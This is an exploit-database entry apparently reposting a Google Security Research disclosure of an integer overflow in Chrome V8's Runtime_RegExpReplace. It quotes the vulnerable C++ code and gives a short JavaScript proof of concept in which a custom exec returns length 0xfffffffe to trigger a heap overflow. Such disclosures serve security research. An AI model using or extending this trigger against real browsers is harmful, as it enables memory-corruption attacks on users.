Chrome V8 - 'Runtime_RegExpReplace' Integer Overflow



EKU-ID: 7380 CVE: OSVDB-ID:
Author: Google Security Research Published: 2018-02-26 Verified: Verified
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/*
Here's a snippet of the method.
    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
        isolate, captures_length_obj,
        Object::ToLength(isolate, captures_length_obj));
    const int captures_length = PositiveNumberToUint32(*captures_length_obj);
    ...
    if (functional_replace) {
      const int argc =
          has_named_captures ? captures_length + 3 : captures_length + 2; <<-- (a)
 
      ScopedVector<Handle<Object>> argv(argc);
 
      int cursor = 0;
      for (int j = 0; j < captures_length; j++) {
        argv[cursor++] = captures[j];
      }
 
      // (b)
      argv[cursor++] = handle(Smi::FromInt(position), isolate);
      argv[cursor++] = string;
 
The variable "captures_length" can be controlled by the user, so an integer overflow may occur at (a) which causes a heap overflow at (b).
 
 
PoC:
*/
 
let cnt = 0;
let reg = /./g;
reg.exec = () => {
    if (cnt++ == 0)
        return {length: 0xfffffffe};
 
    cnt = 0;
    return null;
};
 
''.replace(reg, () => {});